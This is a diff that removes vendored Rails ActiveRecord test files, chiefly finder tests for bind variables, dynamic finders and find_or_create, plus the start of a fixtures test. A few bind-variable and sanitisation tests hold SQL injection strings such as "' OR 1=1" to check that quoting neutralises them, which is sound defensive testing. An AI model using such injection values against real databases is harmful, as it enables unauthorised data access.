-  def test_hash_condition_find_with_aggregate_having_one_mapping_and_key_value_being_attribute_value
-    balance = customers(:david).balance
-    assert_kind_of Money, balance
-    found_customer = Customer.find(:first, :conditions => {:balance => balance.amount})
-    assert_equal customers(:david), found_customer
-  end
-
-  def test_hash_condition_find_with_aggregate_attribute_having_same_name_as_field_and_key_value_being_attribute_value
-    gps_location = customers(:david).gps_location
-    assert_kind_of GpsLocation, gps_location
-    found_customer = Customer.find(:first, :conditions => {:gps_location => gps_location.gps_location})
-    assert_equal customers(:david), found_customer
-  end
-
-  def test_hash_condition_find_with_aggregate_having_three_mappings
-    address = customers(:david).address
-    assert_kind_of Address, address
-    found_customer = Customer.find(:first, :conditions => {:address => address})
-    assert_equal customers(:david), found_customer
-  end
-
-  def test_hash_condition_find_with_one_condition_being_aggregate_and_another_not
-    address = customers(:david).address
-    assert_kind_of Address, address
-    found_customer = Customer.find(:first, :conditions => {:address => address, :name => customers(:david).name})
-    assert_equal customers(:david), found_customer
-  end
-
-  def test_bind_variables
-    assert_kind_of Firm, Company.find(:first, :conditions => ["name = ?", "37signals"])
-    assert_nil Company.find(:first, :conditions => ["name = ?", "37signals!"])
-    assert_nil Company.find(:first, :conditions => ["name = ?", "37signals!' OR 1=1"])
-    assert_kind_of Time, Topic.find(:first, :conditions => ["id = ?", 1]).written_on
-    assert_raise(ActiveRecord::PreparedStatementInvalid) {
-      Company.find(:first, :conditions => ["id=? AND name = ?", 2])
-    }
-    assert_raise(ActiveRecord::PreparedStatementInvalid) {
-     Company.find(:first, :conditions => ["id=?", 2, 3, 4])
-    }
-  end
-
-  def test_bind_variables_with_quotes
-    Company.create("name" => "37signals' go'es agains")
-    assert Company.find(:first, :conditions => ["name = ?", "37signals' go'es agains"])
-  end
-
-  def test_named_bind_variables_with_quotes
-    Company.create("name" => "37signals' go'es agains")
-    assert Company.find(:first, :conditions => ["name = :name", {:name => "37signals' go'es agains"}])
-  end
-
-  def test_bind_arity
-    assert_nothing_raised                                 { bind '' }
-    assert_raise(ActiveRecord::PreparedStatementInvalid) { bind '', 1 }
-
-    assert_raise(ActiveRecord::PreparedStatementInvalid) { bind '?' }
-    assert_nothing_raised                                 { bind '?', 1 }
-    assert_raise(ActiveRecord::PreparedStatementInvalid) { bind '?', 1, 1  }
-  end
-
-  def test_named_bind_variables
-    assert_equal '1', bind(':a', :a => 1) # ' ruby-mode
-    assert_equal '1 1', bind(':a :a', :a => 1)  # ' ruby-mode
-
-    assert_nothing_raised { bind("'+00:00'", :foo => "bar") }
-
-    assert_kind_of Firm, Company.find(:first, :conditions => ["name = :name", { :name => "37signals" }])
-    assert_nil Company.find(:first, :conditions => ["name = :name", { :name => "37signals!" }])
-    assert_nil Company.find(:first, :conditions => ["name = :name", { :name => "37signals!' OR 1=1" }])
-    assert_kind_of Time, Topic.find(:first, :conditions => ["id = :id", { :id => 1 }]).written_on
-  end
-
-  def test_bind_enumerable
-    quoted_abc = %(#{ActiveRecord::Base.connection.quote('a')},#{ActiveRecord::Base.connection.quote('b')},#{ActiveRecord::Base.connection.quote('c')})
-
-    assert_equal '1,2,3', bind('?', [1, 2, 3])
-    assert_equal quoted_abc, bind('?', %w(a b c))
-
-    assert_equal '1,2,3', bind(':a', :a => [1, 2, 3])
-    assert_equal quoted_abc, bind(':a', :a => %w(a b c)) # '
-
-    require 'set'
-    assert_equal '1,2,3', bind('?', Set.new([1, 2, 3]))
-    assert_equal quoted_abc, bind('?', Set.new(%w(a b c)))
-
-    assert_equal '1,2,3', bind(':a', :a => Set.new([1, 2, 3]))
-    assert_equal quoted_abc, bind(':a', :a => Set.new(%w(a b c))) # '
-  end
-
-  def test_bind_empty_enumerable
-    quoted_nil = ActiveRecord::Base.connection.quote(nil)
-    assert_equal quoted_nil, bind('?', [])
-    assert_equal " in (#{quoted_nil})", bind(' in (?)', [])
-    assert_equal "foo in (#{quoted_nil})", bind('foo in (?)', [])
-  end
-
-  def test_bind_string
-    assert_equal ActiveRecord::Base.connection.quote(''), bind('?', '')
-  end
-
-  def test_bind_chars
-    quoted_bambi = ActiveRecord::Base.connection.quote("Bambi")
-    quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote("Bambi\nand\nThumper")
-    assert_equal "name=#{quoted_bambi}", bind('name=?', "Bambi")
-    assert_equal "name=#{quoted_bambi_and_thumper}", bind('name=?', "Bambi\nand\nThumper")
-    assert_equal "name=#{quoted_bambi}", bind('name=?', "Bambi".mb_chars)
-    assert_equal "name=#{quoted_bambi_and_thumper}", bind('name=?', "Bambi\nand\nThumper".mb_chars)
-  end
-
-  def test_bind_record
-    o = Struct.new(:quoted_id).new(1)
-    assert_equal '1', bind('?', o)
-
-    os = [o] * 3
-    assert_equal '1,1,1', bind('?', os)
-  end
-
-  def test_named_bind_with_postgresql_type_casts
-    l = Proc.new { bind(":a::integer '2009-01-01'::date", :a => '10') }
-    assert_nothing_raised(&l)
-    assert_equal "#{ActiveRecord::Base.quote_value('10')}::integer '2009-01-01'::date", l.call
-  end
-
-  def test_string_sanitation
-    assert_not_equal "'something ' 1=1'", ActiveRecord::Base.sanitize("something ' 1=1")
-    assert_equal "'something; select table'", ActiveRecord::Base.sanitize("something; select table")
-  end
-
-  def test_count
-    assert_equal(0, Entrant.count(:conditions => "id > 3"))
-    assert_equal(1, Entrant.count(:conditions => ["id > ?", 2]))
-    assert_equal(2, Entrant.count(:conditions => ["id > ?", 1]))
-  end
-
-  def test_count_by_sql
-    assert_equal(0, Entrant.count_by_sql("SELECT COUNT(*) FROM entrants WHERE id > 3"))
-    assert_equal(1, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 2]))
-    assert_equal(2, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 1]))
-  end
-
-  def test_dynamic_finders_should_go_through_the_find_class_method
-    Topic.expects(:find).with(:first, :conditions => { :title => 'The First Topic!' })
-    Topic.find_by_title("The First Topic!")
-
-    Topic.expects(:find).with(:last, :conditions => { :title => 'The Last Topic!' })
-    Topic.find_last_by_title("The Last Topic!")
-
-    Topic.expects(:find).with(:all, :conditions => { :title => 'A Topic.' })
-    Topic.find_all_by_title("A Topic.")
-
-    Topic.expects(:find).with(:first, :conditions => { :title => 'Does not exist yet for sure!' }).times(2)
-    Topic.find_or_initialize_by_title('Does not exist yet for sure!')
-    Topic.find_or_create_by_title('Does not exist yet for sure!')
-  end
-
-  def test_find_by_one_attribute
-    assert_equal topics(:first), Topic.find_by_title("The First Topic")
-    assert_nil Topic.find_by_title("The First Topic!")
-  end
-
-  def test_find_by_one_attribute_bang
-    assert_equal topics(:first), Topic.find_by_title!("The First Topic")
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find_by_title!("The First Topic!") }
-  end
-
-  def test_find_by_one_attribute_caches_dynamic_finder
-    # ensure this test can run independently of order
-    class << Topic; self; end.send(:remove_method, :find_by_title) if Topic.public_methods.any? { |m| m.to_s == 'find_by_title' }
-    assert !Topic.public_methods.any? { |m| m.to_s == 'find_by_title' }
-    t = Topic.find_by_title("The First Topic")
-    assert Topic.public_methods.any? { |m| m.to_s == 'find_by_title' }
-  end
-
-  def test_dynamic_finder_returns_same_results_after_caching
-    # ensure this test can run independently of order
-    class << Topic; self; end.send(:remove_method, :find_by_title) if Topic.public_method_defined?(:find_by_title)
-    t = Topic.find_by_title("The First Topic")
-    assert_equal t, Topic.find_by_title("The First Topic") # find_by_title has been cached
-  end
-
-  def test_find_by_one_attribute_with_order_option
-    assert_equal accounts(:signals37), Account.find_by_credit_limit(50, :order => 'id')
-    assert_equal accounts(:rails_core_account), Account.find_by_credit_limit(50, :order => 'id DESC')
-  end
-
-  def test_find_by_one_attribute_with_conditions
-    assert_equal accounts(:rails_core_account), Account.find_by_credit_limit(50, :conditions => ['firm_id = ?', 6])
-  end
-
-  def test_find_by_one_attribute_that_is_an_aggregate
-    address = customers(:david).address
-    assert_kind_of Address, address
-    found_customer = Customer.find_by_address(address)
-    assert_equal customers(:david), found_customer
-  end
-
-  def test_find_by_one_attribute_that_is_an_aggregate_with_one_attribute_difference
-    address = customers(:david).address
-    assert_kind_of Address, address
-    missing_address = Address.new(address.street, address.city, address.country + "1")
-    assert_nil Customer.find_by_address(missing_address)
-    missing_address = Address.new(address.street, address.city + "1", address.country)
-    assert_nil Customer.find_by_address(missing_address)
-    missing_address = Address.new(address.street + "1", address.city, address.country)
-    assert_nil Customer.find_by_address(missing_address)
-  end
-
-  def test_find_by_two_attributes_that_are_both_aggregates
-    balance = customers(:david).balance
-    address = customers(:david).address
-    assert_kind_of Money, balance
-    assert_kind_of Address, address
-    found_customer = Customer.find_by_balance_and_address(balance, address)
-    assert_equal customers(:david), found_customer
-  end
-
-  def test_find_by_two_attributes_with_one_being_an_aggregate
-    balance = customers(:david).balance
-    assert_kind_of Money, balance
-    found_customer = Customer.find_by_balance_and_name(balance, customers(:david).name)
-    assert_equal customers(:david), found_customer
-  end
-
-  def test_dynamic_finder_on_one_attribute_with_conditions_caches_method
-    # ensure this test can run independently of order
-    class << Account; self; end.send(:remove_method, :find_by_credit_limit) if Account.public_methods.any? { |m| m.to_s == 'find_by_credit_limit' }
-    assert !Account.public_methods.any? { |m| m.to_s == 'find_by_credit_limit' }
-    a = Account.find_by_credit_limit(50, :conditions => ['firm_id = ?', 6])
-    assert Account.public_methods.any? { |m| m.to_s == 'find_by_credit_limit' }
-  end
-
-  def test_dynamic_finder_on_one_attribute_with_conditions_returns_same_results_after_caching
-    # ensure this test can run independently of order
-    class << Account; self; end.send(:remove_method, :find_by_credit_limit) if Account.public_methods.any? { |m| m.to_s == 'find_by_credit_limit' }
-    a = Account.find_by_credit_limit(50, :conditions => ['firm_id = ?', 6])
-    assert_equal a, Account.find_by_credit_limit(50, :conditions => ['firm_id = ?', 6]) # find_by_credit_limit has been cached
-  end
-
-  def test_find_by_one_attribute_with_several_options
-    assert_equal accounts(:unknown), Account.find_by_credit_limit(50, :order => 'id DESC', :conditions => ['id != ?', 3])
-  end
-
-  def test_find_by_one_missing_attribute
-    assert_raise(NoMethodError) { Topic.find_by_undertitle("The First Topic!") }
-  end
-
-  def test_find_by_invalid_method_syntax
-    assert_raise(NoMethodError) { Topic.fail_to_find_by_title("The First Topic") }
-    assert_raise(NoMethodError) { Topic.find_by_title?("The First Topic") }
-    assert_raise(NoMethodError) { Topic.fail_to_find_or_create_by_title("Nonexistent Title") }
-    assert_raise(NoMethodError) { Topic.find_or_create_by_title?("Nonexistent Title") }
-  end
-
-  def test_find_by_two_attributes
-    assert_equal topics(:first), Topic.find_by_title_and_author_name("The First Topic", "David")
-    assert_nil Topic.find_by_title_and_author_name("The First Topic", "Mary")
-  end
-
-  def test_find_last_by_one_attribute
-    assert_equal Topic.last, Topic.find_last_by_title(Topic.last.title)
-    assert_nil Topic.find_last_by_title("A title with no matches")
-  end
-
-  def test_find_last_by_one_attribute_caches_dynamic_finder
-    # ensure this test can run independently of order
-    class << Topic; self; end.send(:remove_method, :find_last_by_title) if Topic.public_methods.any? { |m| m.to_s == 'find_last_by_title' }
-    assert !Topic.public_methods.any? { |m| m.to_s == 'find_last_by_title' }
-    t = Topic.find_last_by_title(Topic.last.title)
-    assert Topic.public_methods.any? { |m| m.to_s == 'find_last_by_title' }
-  end
-
-  def test_find_last_by_invalid_method_syntax
-    assert_raise(NoMethodError) { Topic.fail_to_find_last_by_title("The First Topic") }
-    assert_raise(NoMethodError) { Topic.find_last_by_title?("The First Topic") }
-  end
-
-  def test_find_last_by_one_attribute_with_several_options
-    assert_equal accounts(:signals37), Account.find_last_by_credit_limit(50, :order => 'id DESC', :conditions => ['id != ?', 3])
-  end
-
-  def test_find_last_by_one_missing_attribute
-    assert_raise(NoMethodError) { Topic.find_last_by_undertitle("The Last Topic!") }
-  end
-
-  def test_find_last_by_two_attributes
-    topic = Topic.last
-    assert_equal topic, Topic.find_last_by_title_and_author_name(topic.title, topic.author_name)
-    assert_nil Topic.find_last_by_title_and_author_name(topic.title, "Anonymous")
-  end
-
-  def test_find_all_by_one_attribute
-    topics = Topic.find_all_by_content("Have a nice day")
-    assert_equal 2, topics.size
-    assert topics.include?(topics(:first))
-
-    assert_equal [], Topic.find_all_by_title("The First Topic!!")
-  end
-
-  def test_find_all_by_one_attribute_that_is_an_aggregate
-    balance = customers(:david).balance
-    assert_kind_of Money, balance
-    found_customers = Customer.find_all_by_balance(balance)
-    assert_equal 1, found_customers.size
-    assert_equal customers(:david), found_customers.first
-  end
-
-  def test_find_all_by_two_attributes_that_are_both_aggregates
-    balance = customers(:david).balance
-    address = customers(:david).address
-    assert_kind_of Money, balance
-    assert_kind_of Address, address
-    found_customers = Customer.find_all_by_balance_and_address(balance, address)
-    assert_equal 1, found_customers.size
-    assert_equal customers(:david), found_customers.first
-  end
-
-  def test_find_all_by_two_attributes_with_one_being_an_aggregate
-    balance = customers(:david).balance
-    assert_kind_of Money, balance
-    found_customers = Customer.find_all_by_balance_and_name(balance, customers(:david).name)
-    assert_equal 1, found_customers.size
-    assert_equal customers(:david), found_customers.first
-  end
-
-  def test_find_all_by_one_attribute_with_options
-    topics = Topic.find_all_by_content("Have a nice day", :order => "id DESC")
-    assert topics(:first), topics.last
-
-    topics = Topic.find_all_by_content("Have a nice day", :order => "id")
-    assert topics(:first), topics.first
-  end
-
-  def test_find_all_by_array_attribute
-    assert_equal 2, Topic.find_all_by_title(["The First Topic", "The Second Topic of the day"]).size
-  end
-
-  def test_find_all_by_boolean_attribute
-    topics = Topic.find_all_by_approved(false)
-    assert_equal 1, topics.size
-    assert topics.include?(topics(:first))
-
-    topics = Topic.find_all_by_approved(true)
-    assert_equal 3, topics.size
-    assert topics.include?(topics(:second))
-  end
-
-  def test_find_by_nil_attribute
-    topic = Topic.find_by_last_read nil
-    assert_not_nil topic
-    assert_nil topic.last_read
-  end
-
-  def test_find_all_by_nil_attribute
-    topics = Topic.find_all_by_last_read nil
-    assert_equal 3, topics.size
-    assert topics.collect(&:last_read).all?(&:nil?)
-  end
-
-  def test_find_by_nil_and_not_nil_attributes
-    topic = Topic.find_by_last_read_and_author_name nil, "Mary"
-    assert_equal "Mary", topic.author_name
-  end
-
-  def test_find_all_by_nil_and_not_nil_attributes
-    topics = Topic.find_all_by_last_read_and_author_name nil, "Mary"
-    assert_equal 1, topics.size
-    assert_equal "Mary", topics[0].author_name
-  end
-
-  def test_find_or_create_from_one_attribute
-    number_of_companies = Company.count
-    sig38 = Company.find_or_create_by_name("38signals")
-    assert_equal number_of_companies + 1, Company.count
-    assert_equal sig38, Company.find_or_create_by_name("38signals")
-    assert !sig38.new_record?
-  end
-
-  def test_find_or_create_from_two_attributes
-    number_of_topics = Topic.count
-    another = Topic.find_or_create_by_title_and_author_name("Another topic","John")
-    assert_equal number_of_topics + 1, Topic.count
-    assert_equal another, Topic.find_or_create_by_title_and_author_name("Another topic", "John")
-    assert !another.new_record?
-  end
-
-  def test_find_or_create_from_two_attributes_with_one_being_an_aggregate
-    number_of_customers = Customer.count
-    created_customer = Customer.find_or_create_by_balance_and_name(Money.new(123), "Elizabeth")
-    assert_equal number_of_customers + 1, Customer.count
-    assert_equal created_customer, Customer.find_or_create_by_balance(Money.new(123), "Elizabeth")
-    assert !created_customer.new_record?
-  end
-
-  def test_find_or_create_from_one_attribute_and_hash
-    number_of_companies = Company.count
-    sig38 = Company.find_or_create_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
-    assert_equal number_of_companies + 1, Company.count
-    assert_equal sig38, Company.find_or_create_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
-    assert !sig38.new_record?
-    assert_equal "38signals", sig38.name
-    assert_equal 17, sig38.firm_id
-    assert_equal 23, sig38.client_of
-  end
-
-  def test_find_or_create_from_one_aggregate_attribute
-    number_of_customers = Customer.count
-    created_customer = Customer.find_or_create_by_balance(Money.new(123))
-    assert_equal number_of_customers + 1, Customer.count
-    assert_equal created_customer, Customer.find_or_create_by_balance(Money.new(123))
-    assert !created_customer.new_record?
-  end
-
-  def test_find_or_create_from_one_aggregate_attribute_and_hash
-    number_of_customers = Customer.count
-    balance = Money.new(123)
-    name = "Elizabeth"
-    created_customer = Customer.find_or_create_by_balance({:balance => balance, :name => name})
-    assert_equal number_of_customers + 1, Customer.count
-    assert_equal created_customer, Customer.find_or_create_by_balance({:balance => balance, :name => name})
-    assert !created_customer.new_record?
-    assert_equal balance, created_customer.balance
-    assert_equal name, created_customer.name
-  end
-
-  def test_find_or_initialize_from_one_attribute
-    sig38 = Company.find_or_initialize_by_name("38signals")
-    assert_equal "38signals", sig38.name
-    assert sig38.new_record?
-  end
-
-  def test_find_or_initialize_from_one_aggregate_attribute
-    new_customer = Customer.find_or_initialize_by_balance(Money.new(123))
-    assert_equal 123, new_customer.balance.amount
-    assert new_customer.new_record?
-  end
-
-  def test_find_or_initialize_from_one_attribute_should_not_set_attribute_even_when_protected
-    c = Company.find_or_initialize_by_name({:name => "Fortune 1000", :rating => 1000})
-    assert_equal "Fortune 1000", c.name
-    assert_not_equal 1000, c.rating
-    assert c.valid?
-    assert c.new_record?
-  end
-
-  def test_find_or_create_from_one_attribute_should_not_set_attribute_even_when_protected
-    c = Company.find_or_create_by_name({:name => "Fortune 1000", :rating => 1000})
-    assert_equal "Fortune 1000", c.name
-    assert_not_equal 1000, c.rating
-    assert c.valid?
-    assert !c.new_record?
-  end
-
-  def test_find_or_initialize_from_one_attribute_should_set_attribute_even_when_protected_and_also_set_the_hash
-    c = Company.find_or_initialize_by_rating(1000, {:name => "Fortune 1000"})
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000, c.rating
-    assert c.valid?
-    assert c.new_record?
-  end
-
-  def test_find_or_create_from_one_attribute_should_set_attribute_even_when_protected_and_also_set_the_hash
-    c = Company.find_or_create_by_rating(1000, {:name => "Fortune 1000"})
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000, c.rating
-    assert c.valid?
-    assert !c.new_record?
-  end
-
-  def test_find_or_initialize_from_one_attribute_should_set_attribute_even_when_protected
-    c = Company.find_or_initialize_by_name_and_rating("Fortune 1000", 1000)
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000, c.rating
-    assert c.valid?
-    assert c.new_record?
-  end
-
-  def test_find_or_create_from_one_attribute_should_set_attribute_even_when_protected
-    c = Company.find_or_create_by_name_and_rating("Fortune 1000", 1000)
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000, c.rating
-    assert c.valid?
-    assert !c.new_record?
-  end
-
-  def test_find_or_initialize_should_set_protected_attributes_if_given_as_block
-    c = Company.find_or_initialize_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000.to_f, c.rating.to_f
-    assert c.valid?
-    assert c.new_record?
-  end
-
-  def test_find_or_create_should_set_protected_attributes_if_given_as_block
-    c = Company.find_or_create_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000.to_f, c.rating.to_f
-    assert c.valid?
-    assert !c.new_record?
-  end
-
-  def test_find_or_create_should_work_with_block_on_first_call
-	  class << Company
-		undef_method(:find_or_create_by_name) if method_defined?(:find_or_create_by_name)
-	  end
-    c = Company.find_or_create_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000.to_f, c.rating.to_f
-    assert c.valid?
-    assert !c.new_record?
-  end
-
-  def test_dynamic_find_or_initialize_from_one_attribute_caches_method
-    class << Company; self; end.send(:remove_method, :find_or_initialize_by_name) if Company.public_methods.any? { |m| m.to_s == 'find_or_initialize_by_name' }
-    assert !Company.public_methods.any? { |m| m.to_s == 'find_or_initialize_by_name' }
-    sig38 = Company.find_or_initialize_by_name("38signals")
-    assert Company.public_methods.any? { |m| m.to_s == 'find_or_initialize_by_name' }
-  end
-
-  def test_find_or_initialize_from_two_attributes
-    another = Topic.find_or_initialize_by_title_and_author_name("Another topic","John")
-    assert_equal "Another topic", another.title
-    assert_equal "John", another.author_name
-    assert another.new_record?
-  end
-
-  def test_find_or_initialize_from_one_aggregate_attribute_and_one_not
-    new_customer = Customer.find_or_initialize_by_balance_and_name(Money.new(123), "Elizabeth")
-    assert_equal 123, new_customer.balance.amount
-    assert_equal "Elizabeth", new_customer.name
-    assert new_customer.new_record?
-  end
-
-  def test_find_or_initialize_from_one_attribute_and_hash
-    sig38 = Company.find_or_initialize_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
-    assert_equal "38signals", sig38.name
-    assert_equal 17, sig38.firm_id
-    assert_equal 23, sig38.client_of
-    assert sig38.new_record?
-  end
-
-  def test_find_or_initialize_from_one_aggregate_attribute_and_hash
-    balance = Money.new(123)
-    name = "Elizabeth"
-    new_customer = Customer.find_or_initialize_by_balance({:balance => balance, :name => name})
-    assert_equal balance, new_customer.balance
-    assert_equal name, new_customer.name
-    assert new_customer.new_record?
-  end
-
-  def test_find_with_bad_sql
-    assert_raise(ActiveRecord::StatementInvalid) { Topic.find_by_sql "select 1 from badtable" }
-  end
-
-  def test_find_with_invalid_params
-    assert_raise(ArgumentError) { Topic.find :first, :join => "It should be `joins'" }
-    assert_raise(ArgumentError) { Topic.find :first, :conditions => '1 = 1', :join => "It should be `joins'" }
-  end
-
-  def test_dynamic_finder_with_invalid_params
-    assert_raise(ArgumentError) { Topic.find_by_title 'No Title', :join => "It should be `joins'" }
-  end
-
-  def test_find_all_with_join
-    developers_on_project_one = Developer.find(
-      :all,
-      :joins => 'LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id',
-      :conditions => 'project_id=1'
-    )
-    assert_equal 3, developers_on_project_one.length
-    developer_names = developers_on_project_one.map { |d| d.name }
-    assert developer_names.include?('David')
-    assert developer_names.include?('Jamis')
-  end
-
-  def test_joins_dont_clobber_id
-    first = Firm.find(
-      :first,
-      :joins => 'INNER JOIN companies AS clients ON clients.firm_id = companies.id',
-      :conditions => 'companies.id = 1'
-    )
-    assert_equal 1, first.id
-  end
-
-  def test_joins_with_string_array
-    person_with_reader_and_post = Post.find(
-      :all,
-      :joins => [
-        "INNER JOIN categorizations ON categorizations.post_id = posts.id",
-        "INNER JOIN categories ON categories.id = categorizations.category_id AND categories.type = 'SpecialCategory'"
-      ]
-    )
-    assert_equal 1, person_with_reader_and_post.size
-  end
-
-  def test_find_by_id_with_conditions_with_or
-    assert_nothing_raised do
-      Post.find([1,2,3],
-        :conditions => "posts.id <= 3 OR posts.#{QUOTED_TYPE} = 'Post'")
-    end
-  end
-
-  # http://dev.rubyonrails.org/ticket/6778
-  def test_find_ignores_previously_inserted_record
-    post = Post.create!(:title => 'test', :body => 'it out')
-    assert_equal [], Post.find_all_by_id(nil)
-  end
-
-  def test_find_by_empty_ids
-    assert_equal [], Post.find([])
-  end
-
-  def test_find_by_empty_in_condition
-    assert_equal [], Post.find(:all, :conditions => ['id in (?)', []])
-  end
-
-  def test_find_by_records
-    p1, p2 = Post.find(:all, :limit => 2, :order => 'id asc')
-    assert_equal [p1, p2], Post.find(:all, :conditions => ['id in (?)', [p1, p2]], :order => 'id asc')
-    assert_equal [p1, p2], Post.find(:all, :conditions => ['id in (?)', [p1, p2.id]], :order => 'id asc')
-  end
-
-  def test_select_value
-    assert_equal "37signals", Company.connection.select_value("SELECT name FROM companies WHERE id = 1")
-    assert_nil Company.connection.select_value("SELECT name FROM companies WHERE id = -1")
-    # make sure we didn't break count...
-    assert_equal 0, Company.count_by_sql("SELECT COUNT(*) FROM companies WHERE name = 'Halliburton'")
-    assert_equal 1, Company.count_by_sql("SELECT COUNT(*) FROM companies WHERE name = '37signals'")
-  end
-
-  def test_select_values
-    assert_equal ["1","2","3","4","5","6","7","8","9"], Company.connection.select_values("SELECT id FROM companies ORDER BY id").map! { |i| i.to_s }
-    assert_equal ["37signals","Summit","Microsoft", "Flamboyant Software", "Ex Nihilo", "RailsCore", "Leetsoft", "Jadedpixel", "Odegy"], Company.connection.select_values("SELECT name FROM companies ORDER BY id")
-  end
-
-  def test_select_rows
-    assert_equal(
-      [["1", nil, nil, "37signals"],
-       ["2", "1", "2", "Summit"],
-       ["3", "1", "1", "Microsoft"]],
-      Company.connection.select_rows("SELECT id, firm_id, client_of, name FROM companies WHERE id IN (1,2,3) ORDER BY id").map! {|i| i.map! {|j| j.to_s unless j.nil?}})
-    assert_equal [["1", "37signals"], ["2", "Summit"], ["3", "Microsoft"]],
-      Company.connection.select_rows("SELECT id, name FROM companies WHERE id IN (1,2,3) ORDER BY id").map! {|i| i.map! {|j| j.to_s unless j.nil?}}
-  end
-
-  def test_find_with_order_on_included_associations_with_construct_finder_sql_for_association_limiting_and_is_distinct
-    assert_equal 2, Post.find(:all, :include => { :authors => :author_address }, :order => ' author_addresses.id DESC ', :limit => 2).size
-
-    assert_equal 3, Post.find(:all, :include => { :author => :author_address, :authors => :author_address},
-                              :order => ' author_addresses_authors.id DESC ', :limit => 3).size
-  end
-
-  def test_with_limiting_with_custom_select
-    posts = Post.find(:all, :include => :author, :select => ' posts.*, authors.id as "author_id"', :limit => 3, :order => 'posts.id')
-    assert_equal 3, posts.size
-    assert_equal [0, 1, 1], posts.map(&:author_id).sort
-  end
-
-  def test_finder_with_scoped_from
-    all_topics = Topic.all
-
-    Topic.with_scope(:find => { :from => 'fake_topics' }) do
-      assert_equal all_topics, Topic.all(:from => 'topics')
-    end
-  end
-
-  protected
-    def bind(statement, *vars)
-      if vars.first.is_a?(Hash)
-        ActiveRecord::Base.send(:replace_named_bind_variables, statement, vars.first)
-      else
-        ActiveRecord::Base.send(:replace_bind_variables, statement, vars)
-      end
-    end
-end
diff --git a/vendor/rails/activerecord/test/cases/fixtures_test.rb b/vendor/rails/activerecord/test/cases/fixtures_test.rb
deleted file mode 100644
index e9c28023..00000000
--- a/vendor/rails/activerecord/test/cases/fixtures_test.rb
+++ /dev/null
@@ -1,661 +0,0 @@
-require "cases/helper"
-require 'models/post'
-require 'models/binary'
-require 'models/topic'
-require 'models/computer'
-require 'models/developer'
-require 'models/company'
-require 'models/task'
-require 'models/reply'
-require 'models/joke'
-require 'models/course'
-require 'models/category'
-require 'models/parrot'
-require 'models/pirate'
-require 'models/treasure'
-require 'models/matey'
-require 'models/ship'
-require 'models/book'
-
-class FixturesTest < ActiveRecord::TestCase
-  self.use_instantiated_fixtures = true
-  self.use_transactional_fixtures = false
-
-  fixtures :topics, :developers, :accounts, :tasks, :categories, :funny_jokes, :binaries
-
-  FIXTURES = %w( accounts binaries companies customers
-                 developers developers_projects entrants
-                 movies projects subscribers topics tasks )
-  MATCH_ATTRIBUTE_NAME = /[a-zA-Z][-_\w]*/
-
-  def test_clean_fixtures
-    FIXTURES.each do |name|
-      fixtures = nil
-      assert_nothing_raised { fixtures = create_fixtures(name) }
-      assert_kind_of(Fixtures, fixtures)
-      fixtures.each { |name, fixture|
-        fixture.each { |key, value|
-          assert_match(MATCH_ATTRIBUTE_NAME, key)
-        }
-      }
-    end
-  end
-
-  def test_multiple_clean_fixtures
-    fixtures_array = nil
-    assert_nothing_raised { fixtures_array = create_fixtures(*FIXTURES) }
-    assert_kind_of(Array, fixtures_array)
-    fixtures_array.each { |fixtures| assert_kind_of(Fixtures, fixtures) }
-  end
-
-  def test_attributes
-    topics = create_fixtures("topics")
-    assert_equal("The First Topic", topics["first"]["title"])
-    assert_nil(topics["second"]["author_email_address"])
-  end
-
-  def test_inserts
-    topics = create_fixtures("topics")
-    first_row = ActiveRecord::Base.connection.select_one("SELECT * FROM topics WHERE author_name = 'David'")
-    assert_equal("The First Topic", first_row["title"])
-
-    second_row = ActiveRecord::Base.connection.select_one("SELECT * FROM topics WHERE author_name = 'Mary'")
-    assert_nil(second_row["author_email_address"])
-  end
-
-  if ActiveRecord::Base.connection.supports_migrations?
-    def test_inserts_with_pre_and_suffix
-      # Reset cache to make finds on the new table work
-      Fixtures.reset_cache
-
-      ActiveRecord::Base.connection.create_table :prefix_topics_suffix do |t|
-        t.column :title, :string
-        t.column :author_name, :string
-        t.column :author_email_address, :string
-        t.column :written_on, :datetime
-        t.column :bonus_time, :time
-        t.column :last_read, :date
-        t.column :content, :string
-        t.column :approved, :boolean, :default => true
-        t.column :replies_count, :integer, :default => 0
-        t.column :parent_id, :integer
-        t.column :type, :string, :limit => 50
-      end
-
-      # Store existing prefix/suffix
-      old_prefix = ActiveRecord::Base.table_name_prefix
-      old_suffix = ActiveRecord::Base.table_name_suffix
-
-      # Set a prefix/suffix we can test against
-      ActiveRecord::Base.table_name_prefix = 'prefix_'
-      ActiveRecord::Base.table_name_suffix = '_suffix'
-
-      topics = create_fixtures("topics")
-
-      first_row = ActiveRecord::Base.connection.select_one("SELECT * FROM prefix_topics_suffix WHERE author_name = 'David'")
-      assert_equal("The First Topic", first_row["title"])
-
-      second_row = ActiveRecord::Base.connection.select_one("SELECT * FROM prefix_topics_suffix WHERE author_name = 'Mary'")
-      assert_nil(second_row["author_email_address"])
-
-      # This checks for a caching problem which causes a bug in the fixtures 
-      # class-level configuration helper.
-      assert_not_nil topics, "Fixture data inserted, but fixture objects not returned from create"
-    ensure
-      # Restore prefix/suffix to its previous values
-      ActiveRecord::Base.table_name_prefix = old_prefix
-      ActiveRecord::Base.table_name_suffix = old_suffix
-
-      ActiveRecord::Base.connection.drop_table :prefix_topics_suffix rescue nil
-    end
-  end
-
-  def test_insert_with_datetime
-    topics = create_fixtures("tasks")
-    first = Task.find(1)
-    assert first
-  end
-
-  def test_logger_level_invariant
-    level = ActiveRecord::Base.logger.level
-    create_fixtures('topics')
-    assert_equal level, ActiveRecord::Base.logger.level
-  end
-
-  def test_instantiation
-    topics = create_fixtures("topics")
